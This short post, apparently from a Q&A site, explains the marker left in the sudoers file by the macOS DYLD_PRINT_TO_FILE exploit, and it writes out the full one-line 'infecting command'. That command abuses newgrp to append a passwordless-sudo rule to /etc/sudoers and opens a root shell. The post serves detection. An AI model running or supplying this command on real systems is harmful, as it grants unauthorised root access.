DYLD_PRINT_TO_FILE & sudoers Exploit: What are the markers in the sudoers file?
This is the infecting command:

echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" &gt;&amp;3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s


This means, that you'll have line like:

USERNAME ALL=(ALL) NOPASSWD:ALL


at the end of your sudoers file.

NOTE: USERNAME is your username in the system. It won't have hash tag # in front.